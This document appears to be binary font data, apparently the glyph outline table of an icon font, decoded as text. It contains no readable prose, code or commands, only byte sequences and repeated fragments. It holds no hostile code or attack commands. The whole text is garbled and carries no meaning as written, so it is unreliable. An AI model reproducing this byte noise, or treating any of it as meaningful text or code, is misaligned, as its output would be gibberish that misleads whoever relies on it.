G,4<LT2+++"&=#+"&="&=#"&=46;5462264&"7!26=4&#!"264&"        0  @ P       P 0".."0]  p'?2#!"&5463&546?6'.676/&&546?6'.676/&`=@RA?S>@RA@R %"4./6%"4./694&++"&546;2+"&52+"&546;23265463!p 0  8P 0  P8  0 p! !  P8 0 8P  !( B3W%!!2#"&'&7#'.'4>7#"&=46;2!2'#54&+"#";;26=326=4&  ! # FF  g   /t0  0 0  0  #! ! W   - ( (  ( (  B3F%!!2#"&'&7#'.'4>7#"&=46;2!2'#54+"#"?6&  ! # FF  g   /y+  +DD  #! ! W   - < <DD<D%32#"'+".'#"&=463267'&6?546;546;232%7625=,  X7 0#7X  ,> F * @ @ * v vK")  ;!;  )"F # (  ( # X&&X26:V%#!"&=467'&6;&5&54767>?6327/77475#"'0326762676#% :@F  F@;  2*2J,42. =#--$><!  1"  "1  !x( (  HWm2'"&547'+#"&7>767&+"&546;23'#"&=46;276;2+6267#"&?&#"%6&#"&/7>4KL64K-   T E,6KH2  8  8EB P& -  R ( Q)!//0"1  22"+K46LK4;')- *6M63H (  &* 7 K/B/L"2Q R "0+$@%"&54672654&'56&"&462"&=46;2732#+"&5pAOԖOA!3zz=3M6%%6%  &   @ v .(88(.  !!%6%%6 `` `   )%3"/3727#'&"'&"#&6?62762@m^9$!w1:$f!$&n''n&,H  %i(7 b V(i%(('' !)32++"=#"=4;5.5462264&" ?1$ $ ( $ $1?TxT/B//B3N 4 ( $ $ ( 4 N3327'&?67'&63264&"t  TxT'B'*# B//B/O  #*KjKKjkO7**7O+6"&462%2+"&=!+"&546;235463B//B/.B       /B//BQB. 00 ` А '/##!"&?"&546;254&#!"3!26"264N4??4NO12N0  0 .!!.!`'92 29''99p  p 6!.!!.'7?G##!"&?"&546;254&+";26754&+";26"264$"264N4??4NO12N h  h  h  h ((((`'92 29''99p  p  p  p .(((( `!%!!535#7232+#!"&=463!5    ` @@ ` `!%!!535#7232+#!"&=463!5    p @@ ` `!%!!535#7232+#!"&=463#5     @@ ` `!%!!535#7232+#!"&=463#5     @@ ` `!!!535#7232+#!"&=463     @@ D%#&/&546.j81 5W wY  H#"32+72#".'#"&=4632=#"=4;54".=4>32>32T$ $T-.T$ $T-.0p ( p1((0p ( p1(,8G32+"=!+"=4;#"=4;2!54;2+;2=4+"54++;2 ( (  (  (  @ T H @ (  ( @ (  ( H 4 @+]7+"=4;5#"=4;2!54;2+32+"=732+"=!+"=4;53;26=4&+5354;2+@44 4444 @  h44444@44H  @ H4%"!"&5463!2+538    b     7b !2#!"&54633#!"&546;0/ `0 !/47c%"&5054676762'3#"&505467>762'3'2#!"&=46;&'#"&=46;6232+KjK  <  H";#5K    <  ȐH ` & N &p!//!<4&(59 %/!<  (59      ')     )*02#2#!"&=463467.5"&=4634&"h  D55D   D5#7  =V=  CkkC    Ck 8O-  @;UU;*062#2#!"&=463467.5"&=463."65#h  D55D   D5#7   2<2   CkkC    Ck 8O-  $,,$""*02#!"&=463467.5"&=463!2265#hD55D   D5#7  P V=CkkC    Ck 8O-    U;;*2#!"&=463467.5"&=463!2hD55D   D5#7  P CkkC    Ck 8O-    ?2+"&=4/&=463254632354632354632346  0  p p t  d+B00/ 82+"&/&>54>32354>323546323546   } !     @  q ! ,     ױW.4635#"&46;5#"&46;5'.7>7>+"  в $  p P ""(E K @  @&54/&+"&=46;26?6&+"&=463!2 p  %| ! N  =G % 3 !  t7+"/.>5'&>763'&67637>376 $ ! =' # 0 40 , c * Y ~ ! 9P  -159%+"/&>46235462354623462#37#37#3  ! """"XX`! ,((a`````-$2+"./&6?'&>354623546234"  @ K%$E("P p  $   `G2++"&=#"&=43+"/5#+"/#+"&76;236?6;2U6U t 6    2   6 A + + A `++ 6"UU6 ( 5  *%+5326"&462&'654+";26=3;26ۑΑ+&jG   ,8 'ΑΑO2Y  HS #2+32#!"&46;5#"&5463!P     @ +G!"=46;54;2354;232!2#!"&544+54+"#";;2=325X 0 ( ( 0L H < ( < < ( <  $4 44 4$  < < ( < < +7!"=46;54;2354;232!2#!"&542=4+"3X 0 ( ( 0L <  $4 44 4$  ( ( +G!"=46;54;2354;232!2#!"&5476/&'&??6'X 0 ( ( 0L  0  00  00  00   $4 44 4$  0  00  00  00  +;!"=46;54;2354;232!2#!"&54'&'&?6X 0 ( ( 0L Y j.  R   $4 44 4$  ` j/ T 6#!"&546;276  0  p      XD  727"/2"&4724#"2546p xTTxT &6(!!TxTTx6& ($9#!"&=46;546;23253+"&2#!"/&?6;53 +      @     + + @k ,  P   9pp  P  , , @ 4>?&576   J 8? 0@ 82+&=#"&5463&&} `&&&&^T& &'2"&454&+";26754&+";26ΑΑ 0 0 p 0 0 Αη    2"&454&+";26ΑΑX   Αη  !)3#!"&535462#354&"264&"264&"``/!!/`KjK&4& !//! 5KK5 &&@*6BN%+#!"&/#"&=46;7>3'&>3254&"26754&"26'54&"26@     CkPPkC p       mm  p  p  p  p  p  p CG+32++"&?#+"&?#"&?6;7#"&?6;76;2376;2327# OK P (b )K OK P (b )Kc ( V RV R ( ( V RV R -6"&462&"2642"&4264&"32+"&76\BB\B\((\BB\B\((h  " pB\BB\^((B\BB\^(( 0   G"264$2"&462"&46"264>."'&67673>'.56VzzzΑΑpppR HLH 5       zzzΑYpppDM   /A.!!.A/ B#"/67'&/"&462&/&#".?5#"&=76;2|}~? $$$ofB 6 = ?Ú  X<$$'l  P  _O 7G7#76772+57#!"&5463!2'&+";2?3;2>74.+";26  /`9 $9 4 -99.5 1b_   T+4!3CS.676#"#'7232#"/&764'&?67/&764'&?6/&764'&?6a@-.? @  8 8  @   _--  %%  &  ;@@ ( Q ZZ Q ("V66 -t- 7#X# B '/7?GOW_6"&4622"&42"&42"&42"&42"&42"&42"&42"&42"&42"&42"&4%6%%6(6%%6%6%%6%6%%6%6%%6%s%6%%6s%6%%6s%6%%6S8@H`d7"&5462"&54&"&2#"&4632654>54&""&542"&42"&4%"&54=.'.7>'7/B/1g?-  FdFSmQ@  Qf"P"  !//!  gI+ -?%&2FF2  Im  Do  V"P"2At&2#2#'&/&?6766766&#"32763&%.6767&'&>767'.7>7"'&63"&7>376"#32654&# != +^C,:) F "(  -+ %    p:) F "(  -+  != +\C   3   !Y !JZ9    A 4!JZ9     3   !G8DQ7"&5462"&54&"&2#"&4632654>54&""&54%/&?6"/&?6/B/1g?-  FdF W W      !//!  gI+ -?%&2FF2  I W W   2?k46;5#"&546;5#"&546;5#"&746;'.>+"&7'&6767154/&'&6767'&6767'&676'&>[ >~    }    | Pk I%   ={4 N^ _M g$    Z  .   #  0 ZC  cy  zb  &  @-E%&'#"/&'&767'&6?6632654&#"6"326591W+ )w }q<1W+ 5(*Y"P8*&    T+: e :(fT+: H W'38P    = (/7W2&/76'&"&'&4757633#"&5:64&"3#&"264///#576;? 7  P " b `@ )  `        5[7 TR; 7v I  ! Z@  ) @     &  R7 K<F#!"&547670>321&0#".'&'&2>767654'`)||)B#G G# $FF$ Z Z B3  32  2'/D#32+32+#!"&5463!232&"26454&+"'#";26  @ 4&&4&0'*  @ ( @ ( 00 ( &4&&4" @+7CO2#!"&5463"26454&+"'#";26754+";2=4+";2=4+";2 4&&4&0'*' ``&4&&4"" =HH2"&4$"26427.#""'&#"ΑΑH44H494 ( 4Α14H44HD!!#72#!"&5463";264&#"26454&+"'#";26P` ` 4&&4&0'*' `   &4&&4"" @ +7?R2!5463!#!"&%;2=4+";2=4+";2=4+"&"264;26'.+"'#"0@ `4&&4&  "*p0HH&4&&4  3C#0#"&54754622654.'54&"37"&5475462 K55J 8P8`!/(%A%6%  `%05KL50$(88h/!      %P%%%  "C7"&54754627#0#"&54754624.'54&";26%6%  K55J 8P8(%!/@%%%  0%05KL50$(88(      %/"C7"&54754627#0#"&54754624.'54&";26%6%  K55J 8P8(%!/@%%%i  i0%05KL50$(88(      %/"C7"&54754627#0#"&54754624.'54&";26%6%  K55J 8P8(%!/@%%%)  )0%05KL50$(88(      %/;6"&4627#0#"&54754624.'54&";26%6%%6E K55J 8P8(%!/[6%%6%%05KL50$(88(      %/!)19AIQYaiqy"/&47.7&#"#4632662"&462462"6"&462"&46:"&42"&462"&462462"6"&462462"6"&462"&462"&462"&462"&462  .@S;7):   )  W    2  `    )  W  w  W  W  I      8 O . 2;S%  H      )     )      7    )    )  )  F%2++"&=!+"&=&=#"&=46;5463266/&7.7&#"          /!*$ _       +    +   !/"   _ /  +QY"'.542''&546'&'&7654&2&767>54.#"'.542"&4 Ju.W=9R0;)%5F8%,!+6Ig*$9E6%%6%)U,,U +>=UQ9A, ()95%+]BlN.5, gH-NlB]%6%%62#!"&546354#!"` `T T`%2#!"&=463``  !)+54&+5463!2#!"&5463!24+"30/!  D !/0 0 4 /?O_o+"&546;2++53232++53232++53232++53232%3#"=#"=4;5473#"=#"=4;5473#"=#"=4;5473#"=#"=4;54`****************`N 0f 0f 0f 0 0 `0 `0 `0 %/&/"/+"&="/&4?5/.?/&?'.?>7'&/&6?'&?6'&>?65'&4?6546;2762?>76/76! ?5       6? !" F@@F "!?6     6? ! " F@@F g   G$N5  ( (  6N$G    %%   G$N5  ( (  5N$G    %%  '"/&4?&67>(0$X% 3  $1*1$  3 %X$0*<+"&?.5476227>56227562.>32+"&7%  @  ,,,y,"*9  8 _"&7  *"_ G;#VLB& 0  &2#"'&?632676&+"&=466CrCg_G (0?FaeEB0*   $GBsCg@ (*bEGc,*   $E !-E!#!"&26=4&"26=4&"26=4&"%2#!"&=46;76;2    `   `   @ ` x r P           :&#"+"&7>3276+"&73232>76;2#"'&=46s1B:[ 9ZcH$   ׆ *1B&D0  9ZcH$ ;-G8 WsE$   y *-!9% WsE$  "0%"&54675#"=4;2+7654&+";2zzeK x 8,  "( ( VzzVMu " ( ( " $  3b 1%&=#"&=46;546+"&=46;2+";2     T(88(T T  T ` ` `  8((8 (   1!#"=4;26=4&+"=4;2'&=#"&=46;546T T  T T(88W    (   ( 8((8 ` ` ` $276+"&?&'&3276#"&46dG$   *0BEeaF?0( G_gE$   *,cGEb*( @Α08DL%#!"&5467&546;&546;2654'6323232$"2646&+"26&264&"#**#*&!/ (8&*<8<%O(**(#*&/!8(&*#[x `@!)4%#!"&546;3%#!"&5463!24&"2!5'&'&/!((D`X( !/PD((`0pX( !(/&?62'6&?6?6&5#75. o .(< o z \  $$ @2. o .<( o  z   h0@ $&?'762#r  99(c  r)(99 !'762&7>?'/&?6299(US"r/ 7"f  w !v(99(TS"7 /r"f  v  732"/&6;4;2. VV . 8 f VV . M37/&4?6!2# VV . . VV . 8 M3%546&=!"=43: VV  . V V . 8  #"&?62++"5X. VV . 8  VV  ;%+"&?'+"&=467'&=46;27'&6;2/76 p $kk$ p  $kk$  p $kk$ p  $kk$ hp  $kk$  p $kk$ p  $kk$  p $kk$ )#!"&546;46232&"26454+";2P&4&PHP`&&4dM346&=#/&4?63z VV  VV  VV .. VV . 72"/&6;5#"&?62+ VV .. VV .F VV  VV "&462#"?6&+54+"ΑΓGssG @ 'ΑΑtsst "&462'#54&6=32=4gΑΑtsst 8ΑΓGssG @ 2"&43?6/&#"ΑΑtsst ΑΓGssG @ 6462"75326/&;;2ΑΓGssG @ YΑΑtsst @2/"/&4?'&6;26#!"&5463!2#!!547@ $$   (  @ $$  `  ##!"&5463!2#"?6=4&`Xp  p`$  p +5463!546&=!"&2#!/&4?6 h PP     PP  0 PP 0  0 PP 01%#!"&54674546326326&+54&+"#"7.K5Wh0    $%2 p+2#!"&5463"26454&+"'#";26P4&&4&0'*' `&4&&4""  76&7>.'/&4 4PL20#  .6"  P )B,,U 2& X '.54>?62>7'.=9*M@' Kcl?sSC) C_G PF%lJ#2#!"&5463264&"74#!"3!2 H ` Y8 @ &.BLT2#!"'&54%"32?4761.264&"6264&"%6.'&3654'73264&#"264&"' D '   C =# n L   .wNCCNwi   5  %@/!!$3#!"&=264ᕗ!2"'4&#!"3!265@ L  P  t(``(``8   $"&4622#!"&=46;27?>=#"'4"2642#!"&=463   Oq  9      (     pP  2         @#37.546232+#6=#"&=4632#!"&=463i=V=    /+==+/   P++P       I"&4622#!"&=463!'&54?6323>546;22676;232676.!!.!x  ff  '   '  P!.!!.            #+;2!65'546;23546;23546354&"2#!"&=463p @ @ 8 0 P 0 X    VJJV  00 00 @  @     /S2+"&=#"=4;54632++"&546;2'2+"&=#+"&546;235463h  0  @ 0  0   0  0  0  `  h0h 0h    h p      Q'&'&'&'>7'&'&'&??6/7?6/7?6/76/& 634 63ggf        45[45ooT        #-8B73+"+"=4&+"&%#.54622654''4''32674''326`   (   @$-5zzH  @    5,&]7Vzz/  M<62"'67"&5ԖԖ77ԖP88P8((n(88(#5%/6?6&67>32"&54>'7>76W 65_<Q "..C.  ";V " m($*  pJ/B//! A +  m7+ !!@  '%&'762&/"/&4?'.72"&40q"8??/ )$Y5g# >P88P8 /8??/$g5Y#Q"8P88P (2@7.'>7'&67&'.'667&'>7#"&'6#0#6&-V! `D$>_GE#707%0344LS)( F>/Ov]&K 0K*,-'p4/Gr 2Oc?Q&6'2U( 1)+*WR"/D_5E:BJRZbjr2+"/&>5462;2=462;2=462;2=4264&"6264&"264&"6264&"264&"264&"6264&"} !     I    I  )  )  P q! !      H  W    W  )  I  w   ` '/746;#"&52+!&"264"264&"264"264&``&@&&`Fn &&&&@@RnR 0#532'#617>3!#!"&5 3c` !@)>%2+"&=46;75%"&=46;7532#2+"&=46;750  P  P P   P   ``@  ``  @   ``92#!"&546;546;2'3554+54+"#";;2=32`P 808808@ 00 088088 "&5462654'Ukkkj,T6``M:^vv^:5*8ii8*G%/%#"/&'"&=46326763254&"7'&#"+'$<"B\BB.-@ $<"(#RA  ']1 .BB..B>,!1pp-:] )-2#!"&546;462&"2646/&'&7PP&4&6a  j.  R `&& j/ T%-5AMY2#!"&546;462264&"6264&"6264&"6"26454+";2=4+";2=4+";2PP&4&h`&&RRhh3;CK[$"&462&"&462'&67676563267'&'#5&$"264&"264&"&4622#!"&=463  H44H4 7VJ7.'&6;2!676;23&'67+"'&'!+"&67#7!36!&'# B--B   8   *M1,"  *9    $  ./DIID/   (?9@ $Z8   hB5=%'&>?7'76&'.'&7#"&=46;276264&"&5>!=!=<D-+,\Y pd- ((cc 5) G,8,7#   $G((B7"&546;7532#2+"&547#"&547#"&5#"&=46;2 00   S((S 0 `   @     p   6#532;#!"&546;4+54+"#";;2=325y 7   @808808W     88088/8;#!"&=32?3264&+'&"'&+"=4;546;#532   F# 9Z F# 98 ș 8   Fr,  Fr( i @ )346;#"&5!%;;2=32=4+54+"#"%2+00@808808P0p@0@088088@%1=Ieq}2#!"&546;546;254+";2=4+";254+";2=4+";2754+54+"#";;2=3254+";2=4+";2      ( ( ( ( ( ( ( (  ( ( ( ( `  p @  @( ( ( ( t( ( ( ( ( ( ( ( #2"&454+"#54+";2=3;2ԖԖp0`00`0ԖXXXX@.82#!"&546;35"26426'.+"'#"3#546;2 F4&&4& "*  @ ```&4&&4    `` 9E2#!"&546;462&"26454+54+"#";;2=32=4+";2PP&4&6H808808`&&0880888<@7"&=46;7532##32#!"&=46;5#"&=463!25#!5# p@@p 00  00 `    @     @     @@@@@D '2"&=454&"7.7>/&76B\BB\B(/vT"S #/B..BB..pp# Sv/7Tv/"!15!#!"&=32=4+532=4+532=4#72#!"&=463 @ xxxxx   @  @@@ 0  0 52#!"&=463!#!"&7;;2=32=4+54+"#"h   @ @808808 0  0  ` 088088#?G%2+"&=!+"&546;235463'"=4;276232+'"/"&462.B       2f z2L4&&4&B. 00 `  (c 7  ,c 7&4&&4IQY^%2+"&5#"&=32=4+"=4;2=4+"=4;2=4#!"=4;5463!232264&"264&"75'#p 08P88P88,d,((\((d,`   (88((88(00dlp(((( dp #37NZ%2+"=43+"=4&'&=4;22#!"&=4635#+"=4'&=4;22+"=43x0).0$0p `0$<0X0` W1&B%>>  @p@@B9!,*AB>,>7//&?'&??6/7?6'7//&?67'&?6@&@B C8 7-8  -I""9- AC B@&8 7.8  -J""8-  $.2#!"&562#".'463/&76.76dx[  / [<7*T #/F/vT #M::c:M$1kTv/#F# Tv/(#"&4?57?6/7?6/7?6/7>#dYY-2 2-2 2-2 3.M!RYYe.3 2.3 2.3 2./#"'&6?'&?67'" +/ "FO" $ R "EO';?"=4;2+"&=3352#!"&=463"=4;2+"&=335H/B/0@  X/B/0@00!//!``     00!//!`` #A%2#!"=432#!"=43%2#!"5743%+"=4&#!"+"547%62ppPP`00`0000   W q!22#!"&546;2654'"&462'"2654'76.&&&&qqd^^^" " &&&@&-3OqqO3-^^^: O 3}62"&4"&4622#!"&=4632#!"&=46;!'54+532=4+54+"#";#";#";#"26=3264&+532=4+532      `  0`hhhhhh@(@(@hh@         @     `    ((  "-%2?/.=32?7/76!6/.7  @@ \  \ ' 66 'kkp8   8$,2#"'#"&'&>7&54264&"264&"264&"Ԗj83AL9szz319JVv$747#"'#"&767&'&?6632@ E&(83AL, 9:  iI`j9 3 4+9    R5zVH:974&+463!2#"!%2+"&=!+"&=&546;2!5463& 8(@(8 && @ @ &  &(88(&@`&$y  y$& `` Fh$"&462'+"&;26=>54&/&546;2?6&'&'54&+"2#!"&=46;#"3!2=4+67Vzzz"? &    "> '     @  +? l @, zzz$!   $!    `  ` '' )1&'67673+#&'&6?&'&54762546264&" N5  ,pp ^BMA k.U}N/  ;1% E8K@B^8H$Qh=7 EX"#!"&=46;76;2+";2?62m= <m   7/ * N v] rH HrH  y ` &   J!>e.'&67546;2'&+"+"&=&'&4?6;254'#!"&=46;76;2+";2?62   2    !    5+' J pX 0%    %     y ` &   J"E7+"'&/&=4622?6/&>$2+"&=4?>2?549  i Z & i  9& ZM"+p   l 3   p+"M  3 l %@2+++&/&6?54?26=%54&+"&=4?6;76   &g P PA*<*, P!"!gg  0 @ &< .0$'z**8% .!X~  < 5++"&=47'#"&7>7#6;5#462#327#4'      .C)>t0pQ^Qp0t>?X     $A,DlRnnRlDTen"&462"&462#"/?#"#.?6?'#&/&/"#"&/&?676546;2?676.7((d((N ) C     +3 3+     C$    #) `((((p E.d L] \1G !! G1\ ]L P '" ` ` "' .E  @CKZ%2++"&=#+"&=.5#"&7>32+";>;26;264&"'"4&54621&#0 1  @ @ ("  + X:,  i  8P8    Q 00 Q'0&   7I"L@  (88()?/.%'.4>?6762'67&"uO[D  E , "k ,"O4!Z!Xf  # I  I@&W;&.;C%2#!673264&+"&46;&5462#"3"2642.54264&"(88(  `(88(--8P80`  mxP80 5S8P8!8P8@ (88(P8(P &V(H2+"&="&5%3&'>@]   ]@tU+)2;`] ]@V =/*#'2#!+"&5#"&=46;546;25!    0 0   @    p   0 0"/<62"4&"276'.#"?62&276&"Α7   % &--  #nYΑΑ     o66  *!2"&42#!"&462&264&"4&&4& p]CP88P8&4&&4   ]^B@8P88P)17'&>?7'72&!#"&'/&7%46264&"21M>M2 LB.-Aw Z((H\] :~p.B?-l.^D @(()19?G%+"&547##"'#"&5463!232264&"264&"%3'&#264&"m /B//!((!/  &0\+V !//!!/ /!P  `0+&/'&?632576%5#!"&z %  N n" n    !  =K   %2+"546;5.?4>;2(4@ @4u W77W u!'&?6>323!"&=46z  M23232+"&'7;26=4&+"/?+54&+"#"&=46722"&4&2#54@ P0.%  P`P8(0(8H $$ $$3EP PE30p  W ` +5$ ` +55+X(88(Y$ $$ L3 @  @ 3L`   00+$"&4622#!"&=46;27%/&?676jKKjK&7OO7#L#T  Q  -i KjKKjkO7**7O R  -h +3$2"&454+54+";2'!"&=46;2732&"&462xTTxT & < (#O7#L# +jKKjKTxTTxB 6 L ,L*7O&HKjKKj;CKv%/'&=&''&'&?&7'&767667547676264&"&"&462#!"&=46;2732332?b !!  !! ((jKKjKI O7#L#     K    0((tKjKKj *7O  ' $/$"&4622!"&=46;277&7%'?62jKKjK&;)NO7#L#>G= *H%KjKKjk.M = *7OG *H&#76"&4622#!"&=46;27$"&4622+46=4'6;27\BB\B#0CC0 !F!P88P80.B(*B\BB\bC00C 8P88PXB.'9+:%#!"&=467&4?6"&547'+"&?&5475?6KK6_`KjKB * M6  6M_P..5KK55 > > ;3;C$"&462!"&=46;2730%2+"&=46;5462264&"754&"jKKjK O7#L#   /B/]@KjKKj*7O  P!//!P}P  P+%2+"&=463"&4622#!"&=46;27p  jKKjK&7OO7#L#     0KjKKjkO7**7O%-%#!"&=467'47&52>32#"&'7"34&#E4GG4e++1#5KK5,C g  L4**4Lf33( KjK5)` 7%'.54?6>7'&"&462#!"&=46;273230n$" 5Ps !;`jKKjK 7, O7#L#$@/&sN-N:&KjKKjsDm#*7O!'&?6>324>7!"&5z  #8!5K0&3     r 6K5)B 9%+@%"/&=46;22>4.#"'".54632#!"&=46;2732w \  [O\   #;"K5#;"KK:O7#L#S  ] [O E X";#5K";#5Ko(:*7O$"&462#!"&=4677'3jKKjK 5KK50 ` KjKKjlN5**5N88;CKb%/'&=&''&'&?&7'&767667547676264&"$"&462"&5462"'&#""#"&=46;323630#3273'#"&=46;2b !!  !! ((4&&4&.BA]B    fD/ !##   (B &@k    0((t&4&&4FB..BB. " 0C ' :# &*BE[^!2+"&5&'&/&6?&5463276%#"&505467>762'3'1"&50546767623'    /!.v    ";#5K   < SȐH KjK  AWZ46;&/.?>632/+"&5'054676762"&73'0546767621"&73'`    v.!/   `  < SKjK8H  <  KjK8H '!, '(/!+ 0  96(!//1 95(&4<!//1;?%2#!"&=463264&"";#";#";!'#"&=463!3'#% %sHri gQQ F@%  %`@@@`@@"6#.5476'&'"&546 O M{O  ' l //  ' R $9Kil"'&476;2#'+"'&476;2%+".7>&'&>;22+"&764'&63&/#/.7&54>23'  "  _  #  #  #   # y  "  R 11  "p`0 6 , 4]+ 9|9 9|9  )[6 @ 6 , d  vv  :t)%/6?6&67>3%'7>76W 65_<Q ";V " m)$*  pJ +  m6+  !#463!2#2#!"&=463!53`@@P  x`     @@472+"&54632276&"&4622+&'3533!ᕗ/AA/(P88P8P L@!`B//B 8P88P&@@ 2.-7@%#54&"#54?5#"&=46;546;232+46?#"&5%+5`%6%`p0 0   0 0 mp m p `%%` D3   0 0   3 / d  (085 7"&5"&46232>7"&5%567$2"&4&'67==qqqqqh:&H>qq?!#ppp 0n37++++&&@&4&&4 4&&)? +  /B//B "%+2"&44635"264&"62"&4ΑΑX^BOqP88P8SΑgB^ qO`8P88PH)12/"#"+/#&54754632264&" (8`M=)  ,'&  ,ay t/!'J%PAep  xh  x= %!/ H;!2#!"&=4632#"'!'#"&4626?&5462?&54 ` (HH(H R(R H     @(( +  + (08@HP2+"&=7>'264&"'"/&4?62264&"264&"6264&"6264&"264&"P ((.1((rr'/72#!"&5463264&"6264&"264&"264&"6264&"%%%%3ss%%%@%ss'/2#!"&5463264&"6264&"264&"6264&"%%%%3%%%@%2#!"&5463264&"%%%%%%%@%'/7?2#!"&5463264&"6264&"6264&"264&"6264&"6264&"%%%%3%%%@%MMMM'2#!"&5463264&"264&"264&"%%%%3ss%%%@%ss2#!"&5463264&"264&"%%%%3%%%@%62"&46"&4622#!"&=4636%%6%[6%%6%   `%6%%6%6%%6U  !!2#!"&=46;463!2&264&"p  p m     s"*!2+#5326!"&=46;467264&"p `p P    @!   m 0P%2#!"&=463%2#!"&=463          "33&'"&476&&67>7>' !b'bGE:B  )!.,_Q'g9,'1B  5t*"-,!@9A32+'6.'&"?632#!"&54>7>2264&":) b6  Zw F#  #& #O  &5HX0,:,S_#Vi  ~,  B0  %1]L<%%%C@D!2#!"&=463'.=4&+!46;23226=.='&4?625#P  /!%&&$4&      U +,p`&&4$  >& @CP]%+"&/#+"&=4?>/&6323632'&'&&/&6?67&#";26%5&#";26>C0%.B$B.%0C- C$ '));7J7;))' $C ##%$%6$%##%F/C=,'',=C/F&%        %&) %% )%&/&6?'.?>n    "   ff  (.?>&/&6?2#!"&=4637   .   p  T  xx  D 0  0 &,>%"/&6;235#"&=463!2+2#'3.#!"&=463!260 V  (+а  ] }#4!# F  @ s@l :@     @] |4#     `)2#"'#"&4632627&#"!2>54&#"FccFQFFQFccFQFF////!+L +///`^^OO^^OO@@&  &@@@4@D%"#"/#"+"&=#"'+"&=.54>76;2264&#"5@  J LL    ,4$0 TFCP .Ew  h 1 ; 16 JY4)D& 0.=K  c %'%&=467%6m   3  Z  "   f&7&=47%6'2#!"&=4637.    D  p  x  DD  B 0  0  $H!5>4&'5463!25#35#35#5!#54&"#54&"#54&"#54&"  @ `@@@`@     = cc#  ``    5U'&?65462#";#";#36=46;22+"&=46;5.=7z   8P8U UU UU),  L  8AW4 <)2    -(88(  0 0*&   " iD)(9'"&,4:@#"'&#"#"'&54632326322>7&.#6264&"575&'m +1>>?5 +1>>?  $"%B//B/`   >= >d=  $8P88PT:1 #&#"'&#"#"'&5463232632264&"m +1>>?5 +1>>?B//B/  >= >8P88P %1=G1!#!"&%;26=4&+";2=4+"%3!2=4#!";2=4+"2!5463  ` ` pp00 @     Xh@ 00 KWco2#!"&54632>54&/&546;2?6'&'54+"+"'&;25754+";2754+";2=4#!"3!2`    -  -  ppPP              h3%#32+/&?#"&=46;7#"&=463!7632bK  S  37  K  R  4 ` j  C ` j  C %-56+".7>264&"6264&"6264&"264&"PU&P&(/hP) n/3=N&@";*P}CJmm-S"*2#!"&5463264&+";26=72+5(88(`   0  0`8P8  0@"&462"&467"/&4762%6%%6%%%6%%F     %%%6%%%6%%6%     $4%2+"&=4633#"'#"&=46;2%2+"&=463   @@$I`        @0p    %1=I6/"/"/&54676276254+";2=4+";2=4+";2f&6 66 6&&6 66 6 ------  -----hh !%-15=G546;#"&52#!"&546;54625#6264&"5#35#6264&"72+5 !/&&/!p`@""@@""    /!&&!/@  @ x"" x""1 7&/&6??6/7?6/7?6/7?6/7?6/76|  P E< <87<<77< ;E   'ef/0ff/0ff' #G7&546;2#";#";#"32#!"'73;2=3;2=3;2= ` 88888x  @)@@)  @@@ ` 888888@@@72#!"&=46;;2=3;2=3;2=3;2=3;2=   0@@@@@  XXXXXXXXXX/73+"&546;2#";#";#";#"X  XXXXXXX @    @@@@ /7A546;#"&52+"=4;27#54&+"#4?62264&"%2+ @P h0 ` 3B//B/p  P  @@(@  u k/B//B  @ #.'7562"/&47@`>S S>+u  5 @S S>+>u 5  !4"&46;46;#"%2'&/52>76#"'.#57676%% % ,IfHM-4#-:+0MH2N/80+:-#3 %6%6%2.&B   B&,  *2:2+54+"#54+"#"&?6'.54264&"264&"Ԗ* N@N  ,24&&4&4&&4&]"A6 B8888 B Z4]&4&&4&&4&&4 /J7546;#"&2"&427735654&#"32+'2+"'.#".'46;2` `v 6ԖԖ=2$q| 3$qO=2| #,# @ ` 7Ԗ$ 2=Oq o2=Oq$| @   t3#"'"'"'#"'.?63!22767#!".=327!5Z&/,XX-/&A     @   I(Z!!!!!!Z(h   dd %%53#!"&53%#!"&?63!23+"&@@ @  U  %@   @  "" /"&=463!2#2#!"&=4632#!"&=463  @ ` ` ` @ @ @ P @ @ @ @  7'7'772"&464/76/&'7?6/76/&'&'76/&'&'76/&'&?'&?'&??6/7??6/7??6/76/&'77'7----------jԖԖ ."   "-  -"   !-  ."   "-  -"   !-------D------qԖԒ -"   !-  ."   "-  -"   !-  ."   "-3---+/M%#54&+"#54&+"#54?6;546;232'5#53#!"&=3;26=3;26     . 33  @      S  S . PP @@`  `  %/&#!"&=4&&/&6?267w9 9 9 9?L?` r  r `C:I"&462/&/&/&/&?.?67>327"&4?6((.   -   < " #8 ( ;  2 `(( E2 Y  J B"<      *"4 ," <  2 $2#!"&5463!2#!"3264&"s%%p  C@%@%  $6O2"&42654':12764./&>'&"67627>'.3232654'ΑΑ P  b FbP  ΑW    &&      @"2!2+"&=4&"+"&=46;!2#!"&=4630  8P8       (88(   `      #:BJ%6?#&''#>#6&'37.'#!"&5463!2"2645!"3>- '' -V ." '--'L    )77)FjKKjK 1) )#*)11))*# 4  7)@)7&KjKKj@,x7327/"&?#'&/32767672>367'&"&'.'&'.'&764'&7>76767676276&2654.#"a4%4 .  ! 4%4  J          7N7+'U &p Y&           P88(,-2#!"/&4?63'76/&'&??6@%% >>  >>  >>  >>  %%  >>  >>  >>  >>  '7M]2+"&=463#>7##"&46322+"&=4632#"&'##&'6=3>2+"&=463p  `  @62 9*P  %% %  `  %% P*9 26U   `   `  ` 8H '?0O  %6% `  ` %6%O0?' H `  ` 1;#"'&54675#"&=46;2+7'&?6/'!&/5#.&4,  ' 4 +%%`@!,34Y     ' 4 +.53,!''  #2!54635!+"&=#"&"264`  %@%6%@%  %@%%@%M4@HR\d2+++"&=#+"&="&=#"&=46;5462%;2=4+"264&"75#";26=4&+264&"        =p  p  ps@ P       P 0".."08] `  ` [%#"##"'&'+"=#"'&767"#"'&4767.'4546320454>762>7632 (8 n ?6264&"6264&"264&"$ E'*M+ 7  $!E'*M*7 3*'E $  7 +L E"$ 7 +#+3;%/././&54?>?63264&"6264&"264&"# E'*M+ 7  $!E&*J5J3*&E $  7 +L E"$4J5Jq1%2++"&5#5323#"&5#"&=46;546;2  ( 0   (  ( 0 ` 0 (  H` H`  0 (  `'3?K[g2#!"&546354+";2';2=4+";2=4+";2=4+";2=4+"754&+";2654+";2`   @@@(   `   H00 0 y!)A2"&4>/7>.'&7264&"7'76.'&?>ΑΑ c4&&4&Α> &4&&4@H%/67#"'".5'7&'&6?67&5462'0"0"132676&"264767,RL\142G6G! D 8P8 4#03C#"9d h`:_~)= {:|"  v(88(Y$ Xt 7/  C-D54&"54&"&'54&"&=4632762654.'&'&6?*#"7?@:FF:@w('   c9%  WcG6-#`  zo  oz  `#-5K`/!a 5/B/@  *62"&=46/627.#"75&"26>54&'8DF;<<"} @ &4&/&:!D8K55KK55S, &&    &&m& ,!33#"&476&67> -jQe:K? 9  2D[OV,}n5119  